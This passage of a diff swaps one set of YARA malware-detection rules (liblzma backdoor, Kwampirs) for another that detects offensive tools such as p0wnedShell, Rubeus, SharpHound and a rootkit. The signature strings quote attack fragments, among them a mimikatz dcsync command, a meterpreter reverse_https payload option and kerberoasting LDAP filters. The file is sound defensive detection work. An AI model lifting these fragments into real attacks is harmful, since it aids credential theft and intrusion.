+		$s1 = "_getEmptyKeychainItemString" fullword ascii
+		$s2 = "NdumpKeychainEntitlements" fullword ascii
+		$s3 = "_dumpKeychainEntitlements" fullword ascii
 
 	condition:
-		( filesize <1MB) and ( uint16(0)==0x5a4d) and (2 of them )
+		( uint16(0)==0xfeca or uint16(0)==0xfacf) and all of them
 }
-rule CRAIU_Unk_Liblzma_Backdoor : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_P0Wnedshell : FILE
 {
 	meta:
-		description = "liblzma backdoored"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "3527227b-e19f-5704-8a56-f7d318890658"
-		date = "2024-03-30"
-		modified = "2024-03-30"
-		reference = "https://seclists.org/oss-sec/2024/q1/268"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/unk_liblzma_backdoor.yara#L1-L30"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		hash = "8fa641c454c3e0f76de73b7cc3446096b9c8b9d33d406d38b8ac76090b0344fd"
-		hash = "319feb5a9cddd81955d915b5632b4a5f8f9080281fb46e2f6d69d53f693c23ae"
-		hash = "b418bfd34aa246b2e7b5cb5d263a640e5d080810f767370c4d2c24662a274963"
-		hash = "cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
-		logic_hash = "ac58a38bff3020dbc881a78b70cf18279644cf6f3ede8d652be3f345ba00974f"
+		description = "Detects compiled executables of p0wnedShell post-exploitation toolkit"
+		author = "ditekSHen"
+		id = "7df8f9b4-48d3-5271-9d60-5dd4bfaed316"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L486-L512"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "9745b69573bf695fdada122143fb1889a7b2025250b5fb1e8f1a86b3be6f27d3"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
-		version = "1.1"
 
 	strings:
-		$a1 = {f3 0f 1e fa 55 48 89 f5 4c 89 ce 53 89 fb 81 e7 00 00 00 80 48 83 ec 28 48 89 54 24 18 48 89 4c 24 10}
-		$a2 = {48 BF 30 30 30 30 30 30 30 30 8B F1 49 89 D1 89 43 28 48 89 3C 24 BF 3F FC FF 03}
+		$s1 = "Use WinRM, PsExec, SMB/WMI to execute commands on remote systems" wide
+		$s2 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" wide
+		$s3 = "-Command '\"lsadump::dcsync /user:" wide
+		$s4 = "-Payload windows/meterpreter/reverse_https -Lhost" wide
+		$s5 = "Get-Content ./EncodedPayload.bat" fullword wide
+		$e1 = "OnYNAB+LCAAAAAAABAC8vOeS60iSLvh75yly+rZZVxuqC4KQs3uvLQhFEJIACALoHVuD1oKQBMbuuy+Y4pw8dUTf3R+bZlWVZHh87uHh4vPItv63ZGrCMW+bF7GZ2zL+" wide
+		$e2 = "kuIeAB+LCAAAAAAABADsvWt327iuMPw9v0Jv27Wa7DqJc2ma5nl71vZFTpzx/ZJL+3TlyLZiq7EtjyTHcffZ//0BSEqiKEqWbKczs8941qS2LgAIAiAIguDjfNp3DHOq" wide
+		$e3 = "mZYIAB+LCAAAAAAABADsvflj2zyOMPx7/gptmnftbBIfuZp0t/OOfMZp7PjO0adfX9lSbCWy5Vp2HGfm+d8/ACQl6vCRNp2Z3bVmnioWSRAEQQAESfC/Pmwp8FTtmTFu" wide
+		$e4 = "u9YGAB+LCAAAAAAABADsvW1D40ayKPw9v0Lr4V7ZE8vY5mUY9rKJBzMTnmWAgyGTvYTlCluAdmzJK9nDsEn++1NV/S61ZJmXZJIN52wG7O7q6urq6qrqquoXSfDveZgE" wide
+		$e5 = "T3gDAB+LCAAAAAAABADtvX1f2zq2KPz3yafQzuZcwi5JEydQ2nM7v4cCnc0zQLmE7j3z6+7NmMQBnwY7YzsFTqff/WpJsi3Jki07DlA2mT008ctaS0tL601L0nThjSPX" wide
+		$e6 = "zRgDAB+LCAAAAAAABADtfW1327jR6OdHv4Kr9TmWdiVZkl+SdZs913Gcrm9tx7WcbvekuS4t0TYbiVRJKYmfbf77xeCNeCVBinKcbNStI5HAYDAYDAaDwczNMhovwjjy" wide
+		$e7 = "pxICAB+LCAAAAAAABADtvf17GkeyKPyz+Cvmlfw+ggRhfcXr1X1znsUIx5yVhC7IUbI+fnUHGKRZwww7M1jWyeZ/v1XV3z09wABysnviZ1cBpqe6urqquqq6uno8j4ZZ" wide
+		$e8 = "H4sIAAAAAAAEANy9e3wTVfo4PG1SmkLbCdpgFdSgUeuCbLTAthYk005gQhNahUIVkCqIqKi1TaAuIGBaJRzG27Kuul5wV3fV1fUuUFxNKbTl3oJAuaiouE4paAGBFpB5" wide
+		$k1 = "EasySystemPPID" fullword ascii
+		$k2 = "EasySystemShell" fullword ascii
+		$k3 = "LatMovement" fullword ascii
+		$k4 = "ListenerURL" fullword ascii
+		$k5 = "MeterStager" fullword ascii
+		$k6 = "PatchEventLog" fullword ascii
 
 	condition:
-		( uint32be(0)==0x7F454C46) and ( filesize <10MB) and ( any of them )
+		uint16(0)==0x5a4d and (3 of ($s*) or 7 of ($e*) or all of ($k*) or (2 of ($s*) and 2 of ($e*) and 2 of ($k*)))
 }
-rule CRAIU_Unk_Liblzma_Encstrings : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Rubeus : FILE
 {
 	meta:
-		description = "liblzma backdoor, encoded strings"
-		author = "Costin G. Raiu, Art of Noh, craiu@noh.ro"
-		id = "ca491b9c-400e-5f5e-9372-e403a095edba"
-		date = "2024-03-30"
-		modified = "2024-03-30"
-		reference = "https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/unk_liblzma_backdoor.yara#L32-L70"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "99f5c82f941bb5c1f908209e108f9f80a835ad84157a383faa0dde502486dbd3"
+		description = "Detects Rubeus kerberos defensive/offensive toolset"
+		author = "ditekSHen"
+		id = "5af8cee0-e664-5dfe-9932-0e74ed41b6b4"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L514-L531"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "ee817d23427970d7e77f9ce2a7cbc25c77177d81354fed83e7551cdcbc2d7cd2"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
-		version = "1.0"
 
 	strings:
-		$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj" ascii wide
-		$a2 = { 04 00 10 08 03 00 00 00 03 00 00 00 03 00 00 00 04 00 78 06 03 00 00 00 03 00 00 00 30 00 0C 00 03 00 00 00 04 00 D8 00
-              03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 03 00 00 00 43 00 00 00 32 00 00 00 03 00 00 00 03 00 00 00 13 01 00 00
-              92 00 00 00 12 00 00 00 42 00 00 00 93 00 00 00 62 00 00 00 B3 00 00 00 B2 00 00 00 03 00 00 00 03 00 00 00 93 00 00 00
-              42 00 00 00 C3 00 00 00 B2 00 00 00 03 00 00 00 12 00 00 00 04 00 08 07 04 00 08 01 12 00 00 00 63 00 00 00 03 00 00 00
-              13 00 00 00 F2 00 00 00 03 00 00 00 A3 00 00 00 92 00 00 00 33 01 00 00 F2 00 00 00 43 01 00 00 22 00 00 00 22 01 00 00
-              04 00 70 08 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 92 00 00 00 83 00 00 00 23 00 00 00 82 01 00 00 63 01 00 00
-              13 00 00 00 04 00 A0 01 22 00 00 00 23 00 00 00 72 01 00 00 B3 01 00 00 B2 01 00 00 03 00 00 00 03 00 00 00 03 00 00 00
-              23 01 00 00 43 00 00 00 C2 00 00 00 90 01 30 00 72 00 00 00 21 01 04 00 03 01 00 00 92 00 00 00 22 01 00 00 32 00 00 00 }
-		$a3 = {
-              33 01 00 00 D2 00 00 00 12 00 00 00 13 00 00 00 04 00 40 0C E2 00 00 00 03 00 00 00 53 01 00 00 22 01 00 00 04 00 D0 06
-              E2 00 00 00 A3 00 00 00 92 00 00 00 53 01 00 00 A0 00 14 00 D2 01 00 00 04 00 58 09 62 00 00 00 92 00 00 00 04 00 18 04
-              42 01 00 00 13 00 00 00 B3 01 00 00 04 00 E0 04 33 00 00 00 A2 01 00 00 43 01 00 00 92 00 00 00 A2 00 00 00 33 02 00 00
-              72 01 00 00 10 00 40 00 A0 00 30 00 00 02 20 00 A2 00 00 00 21 00 0C 00 12 00 00 00 04 00 90 07 B2 01 00 00 53 00 00 00
-              93 01 00 00 92 00 00 00 22 01 00 00 83 01 00 00 53 00 00 00 82 00 00 00 32 01 00 00 03 02 00 00 62 01 00 00 63 01 00 00
-              B2 00 00 00 22 01 00 00 33 00 00 00 33 00 00 00 73 00 00 00 04 00 18 00 D2 01 00 00 13 02 00 00 52 00 00 00 D3 00 00 00
-              02 01 00 00 C3 00 00 00 52 00 00 00 D3 00 00 00 B2 01 00 00 A3 01 00 00 23 00 00 00 E2 01 00 00 33 00 00 00 33 00 00 00
-              B3 01 00 00 A2 00 00 00 53 00 00 00 B3 00 00 00 C2 01 00 00 D3 01 00 00 03 00 00 00 22 00 00 00 63 00 00 00 12 00 00 00 }
+		$s1 = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" fullword wide
+		$s2 = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" fullword wide
+		$s3 = "rc4opsec" fullword wide
+		$s4 = "pwdlastset" fullword wide
+		$s5 = "LsaEnumerateLogonSessions" fullword ascii
+		$s6 = "extractKerberoastHash" fullword ascii
+		$s7 = "ComputeAllKerberosPasswordHashes" fullword ascii
+		$s8 = "kerberoastDomain" fullword ascii
+		$s9 = "GetUsernamePasswordTGT" fullword ascii
+		$s10 = "WriteUserPasswordToFile" fullword ascii
 
 	condition:
-		( filesize <15MB) and ( any of them )
+		uint16(0)==0x5a4d and 8 of them
 }
-rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Dropperandmainpayload : KWAMPIRS
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_RTK_Hiddenrootkit : FILE
 {
 	meta:
-		description = "Kwampirs dropper and main payload components"
-		author = "Symantec"
-		id = "5a40a5e7-0b98-5f6e-a808-493676b57cda"
-		date = "2018-04-23"
-		modified = "2020-03-31"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L2-L80"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "40e197f4278a2d14e8fe1359676558319e86728f7e61ddf612bcc894c311d53a"
+		description = "Detects the Hidden public rootkit"
+		author = "ditekSHen"
+		id = "c9e9d160-224f-505f-a135-56a9793f99c2"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L533-L554"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "20180fc040c1b988b17b1ca9b61a7dab5180df4961a00f0afcb03e2cbe99b28f"
 		score = 75
-		quality = 85
-		tags = "KWAMPIRS"
-		family = "Kwampirs"
+		quality = 50
+		tags = "FILE"
 
 	strings:
-		$pubkey = {
-            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
-            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
-            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
-            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
-            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
-            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
-            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
-            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
-            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
-            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
-            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
-            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
-            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
-            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
-            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
-            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
-            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
-            F7 E4 0C B3
-        }
-		$network_xor_key = {
-            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
-            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
-            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
-            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
-            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
-            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
-            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
-            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
-            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
-            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
-            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
-            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
-            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
-            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
-            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
-            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
-        }
-		$decrypt_string = {
-            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
-            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
-            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
-            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
-            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
-            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
-            32 C0 C3
-        }
-		$init_strings = {
-            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
-            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
-            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
-            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
-            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
-            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
-        }
+		$h1 = "Hid_State" fullword wide
+		$h2 = "Hid_StealthMode" fullword wide
+		$h3 = "Hid_HideFsDirs" fullword wide
+		$h4 = "Hid_HideFsFiles" fullword wide
+		$h5 = "Hid_HideRegKeys" fullword wide
+		$h6 = "Hid_HideRegValues" fullword wide
+		$h7 = "Hid_IgnoredImages" fullword wide
+		$h8 = "Hid_ProtectedImages" fullword wide
+		$s1 = "FLTMGR.SYS" fullword ascii
+		$s2 = "HAL.dll" fullword ascii
+		$s3 = "\\SystemRoot\\System32\\csrss.exe" fullword wide
+		$s4 = "\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\%wZ" fullword wide
+		$s5 = "INIT" fullword ascii
+		$s6 = "\\hidden-master\\Debug\\QAssist.pdb" fullword ascii
 
 	condition:
-		(2 of them )
+		uint16(0)==0x5a4d and (3 of ($h*) or 5 of ($s*) or (2 of ($s*) and 2 of ($h*)))
 }
-rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Shamoon_Code : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Sharphound : FILE
 {
 	meta:
-		description = "Kwampirs and Shamoon common code"
-		author = "FBI / cywatch@fbi.gov"
-		id = "0d403b3b-a5a8-5ac6-a12d-7181a1ad11b3"
-		date = "2020-01-14"
-		modified = "2020-03-31"
-		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L85-L105"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "5ab949280be87d242ad2843dee001eee5a338e266ef52da55883f7c77e66cf5b"
+		description = "Detects BloodHound"
+		author = "ditekSHen"
+		id = "d8f44e15-3e7c-5e5d-9d74-30c61e679fcb"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L556-L573"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "bdf10d0aabd6c41e8dd1f87c0fa141f300d785146d059fcd301ec35f65fbe990"
 		score = 75
-		quality = 85
+		quality = 48
 		tags = "FILE"
-		yara_version = "3.7.0"
 
 	strings:
-		$memcpy = { 56 8B F0 85 FF 74 19 85 D2 74 15 8B CF 85 F6 74 0B 2B D7 8A 04 0A 88 01 41 4E 75 F7 8B C7 5E C3 33 C0 5E C3 }
-		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3 }
-		$strcmp = { 85 C0 75 07 85 D2 75 40 B0 01 C3 85 D2 74 39 66 83 38 00 56 74 24 0F B7 0A 66 85 C9 74 16
-		66 8B 30 83 C2 02 83 C0 02 66 3B F1 75 18 66 83 38 00 75 E4 EB 06 66 83 38 00 75 0A 66 83 3A 00 75 04 B0
-		01 5E C3 32 C0 5E C3 32 C0 C3 }
+		$id1 = "InvokeBloodHound" fullword ascii
+		$id2 = "Sharphound" ascii nocase
+		$s1 = "SamServerExecute" fullword ascii
+		$s2 = "get_RemoteDesktopUsers" fullword ascii
+		$s3 = "commandline.dll.compressed" ascii wide
+		$s4 = "operatingsystemservicepack" fullword wide
+		$s5 = "LDAP://" fullword wide
+		$s6 = "wkui1_logon_domain" fullword ascii
+		$s7 = "GpoProps" fullword ascii
+		$s8 = "a517a8de-5834-411d-abda-2d0e1766539c" fullword ascii nocase
 
 	condition:
-		( uint16(0)==0x5a4d) and (1 of them )
+		uint16(0)==0x5a4d and ( all of ($id*) or 6 of ($s*) or (1 of ($id*) and 4 of ($s*)))
 }
-rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Installer : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_UAC_NSISUAC : FILE
 {
 	meta:
-		description = "Kwampirs installer xor keys and Unicode string length routine"
-		author = "FBI / cywatch@fbi.gov"
-		id = "8c80d0d5-8c65-5cef-ad86-b38f4d671bec"
-		date = "2020-01-14"
-		modified = "2020-03-31"
-		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L109-L127"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "ac9c3ba7188cbbe736ff81b41086fdc874ac24ae83d3cec390907f8edd0a0ce5"
+		description = "Detects NSIS UAC plugin"
+		author = "ditekSHen"
+		id = "4a7c20f6-bf0e-55fb-a0b9-7b51e4af7cd3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L575-L587"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "48c0247c789328a0ff62816f5d6ecac7a0f2a3fe2cb95d99c0e7d988147f7137"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
-		yara_version = "3.7.0"
 
 	strings:
-		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
-		$resource_key = { 28 99 B6 17 63 33 EE 22 97 97 55 B5 7A C4 E1 A4 }
-		$strlenW = { 33 C0 85 C9 74 17 80 3C 41 00 75 07 80 7C 41 01 00 74 0A 3D 00 94 35 77 73 03 40 EB E9 C3}
+		$s1 = "HideCurrUserOpt" fullword wide
+		$s2 = "/UAC:%X /NCRC%s" fullword wide
+		$s3 = "2MyRunAsStrings" fullword wide
+		$s4 = "CheckElevationEnabled" fullword ascii
+		$s5 = "UAC.dll" fullword ascii
 
 	condition:
-		(( uint16(0)==0x5a4d) and (2 of them ))
+		uint16(0)==0x5a4d and all of them
 }
-rule CRAIU_Apt_ZZ_Orangeworm_Kwampirs_Implant : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_REM_Intelliadmin : FILE
 {
 	meta:
-		description = "Kwampirs implant xor and rsa keys"
-		author = "FBI / cywatch@fbi.gov"
-		id = "d1c1ab0e-e07d-5f0e-97e8-5aee53ab620e"
-		date = "2020-01-14"
-		modified = "2020-03-31"
-		reference = "https://assets.documentcloud.org/documents/6821582/FLASH-CP-000118-MW-Downgraded-Version.pdf"
-		source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/apt_zz_orangeworm.yara#L130-L177"
-		license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE"
-		logic_hash = "a9559c17c802c6060799d0a1ee96d68bd521475dd12ff6040a74874cabe3a9a9"
+		description = "Detects commerical IntelliAdmin remote tool"
+		author = "ditekSHen"
+		id = "15385e0b-ead4-5614-a04e-55878eb70b34"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L589-L602"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "8b601d68eff65bc6cc2fb46630a7021e229764f9a80f6d3278ba3b9f55e5b114"
 		score = 75
-		quality = 85
+		quality = 75
 		tags = "FILE"
-		yara_version = "3.7.0"
 
 	strings:
-		$string_key = { 6C 35 E3 31 1B 23 F9 C9 65 EB F3 07 93 33 F2 A3 }
-		$beacon_key = { 28 30 A4 3F 6D 28 04 23 36 2A 32 DC AD 0B A0 4B E8 20 1F 64 84 0A F4 C4 C7 8A 8D C0
-                        A2 C4 40 19 A1 43 82 38 14 FD 6C 90 E0 7E 2A 40 DF D3 F2 3E 72 38 C4 96 4D 98 7C 16 3B 3C E7 27 B7 D0 EF
-                        7B 3C 45 06 9A 69 0D 6A 41 18 95 95 46 88 CC 19 6F EB 6B 5B F8 51 E4 2E E1 E6 8F 44 CF 20 2F 2B DE 7A 28
-                        5D DB 55 5A 1A 35 AF D8 5F 57 B8 0F A5 F7 08 4A D0 AB E5 95 31 A1 25 31 00 65 3C 70 73 99 42 0A 02 1A 69
-                        D9 A6 DF 14 B2 05 DD A8 DF F5 D9 71 6D 6E 96 5F 1B D1 0F 8E 0A 35 D4 65 FA 90 58 CC 75 02 92 B7 2C 46 ED
-                        66 33 44 75 FC A4 E0 FD B8 C8 B5 0C 3A 84 D9 23 16 A4 AF 3B 57 C6 D2 5C B3 AB 9C CD F0 B2 A4 51 43 D3 F0
-                        30 21 B5 ED 25 E3 64 B7 0C 1C A8 50 3A FF 6B 2C 32 06 B2 D1 54 3D 86 B9 1A BF 59 D7 92 59 EC 40 4A 8D B0
-                        E7 9A 9A 0D 94 19 27 D8 6D AD 5C 3E BE 14 67 DC F0 92 }
-		$download_key = { B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38 C8 E7 67 E9 C6 62 9C 50 4E 8D 00
-                        A6 59 F8 72 E0 91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58 C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7
-                        B5 68 CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B 8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02 D9
-                        25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9 62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B 10 3B 60 32
-                        1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83 3E 44 44 6C 97 85 9E
-                        7B F0 EE 32 C3 11 41 A3 6B A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91 75 AE 83 2E 1E F8 5F B5 65 ED
-                        B3 40 EA 2A 36 2C A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7 45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13
-                        74 33 0F DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33 }
-		$hashfile_key = { FE FE F5 5C 37 54 A1 6C 28 84 ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3 1C 33
-                        2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19 AA D8
-                        42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C 7A 30
-                        8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 62 B6 CC C1 45 C9 43 43 15 59 BE 5A 77 31 D8 36 5F BD F6
-                        D7 09 65 42 3C CD 2C B1 C1 28 55 6E F9 91 3C 55 3B DF EB ED BF 84 70 25 41 56 24 37 32 98 9F A0 35 48 F3
-                        1C 33 2E F9 D0 A3 7D 36 BA 66 ED FB 52 E3 8B 07 32 5A 1A DD 19 0A F0 73 A8 C6 61 3F 3F 31 8A 93 AB F4 19
-                        AA D8 42 3B 3E 6E FC 0A 2A 41 1B 28 33 7F 79 27 41 81 14 D0 0B 24 06 4C 35 B3 23 5C F2 E4 06 7D 73 93 1C
-                        7A 30 8E 87 74 0F 53 F9 92 A3 CA 20 E3 A1 12 E1 6B 86 }
-		$rsa_key = { CD 74 15 BC 47 7E 0A 5E E4 35 22 A5 97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9 E4 7E
-                        DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31 48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A CD 43 D7 B4
-                        75 C9 19 FE CC 88 4A 7B E9 1D 8C 11 56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33 02 E2 3A 50 EA 58 D2
-                        A7 36 EE 5A D6 8F 5D 5D D2 9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28 4C 72 E1 60 AB 76 73 30 66 18
-                        BE EC F3 99 5E 4B 4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71 6B 49 08 84 61 1D 03 BA A5 42 92 F9 13
-                        33 57 D9 59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36 EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
-                        C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6 FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D 90 DC 6C
-                        26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF F7 E4 0C B3 }
+		$pdb1 = "\\Network Administrator" ascii
+		$pdb2 = "\\Binaries\\Plugins\\Tools\\RPCService.pdb" ascii
+		$s1 = "CIntelliAdminRPC" fullword wide
+		$s2 = "IntelliAdmin RPC Service" fullword wide
+		$s3 = "IntelliAdmin Remote Execute v" ascii
+		$s4 = "IntelliAdminRPC" fullword ascii
 
 	condition:
-		(( uint16(0)==0x5a4d) and (2 of them ))
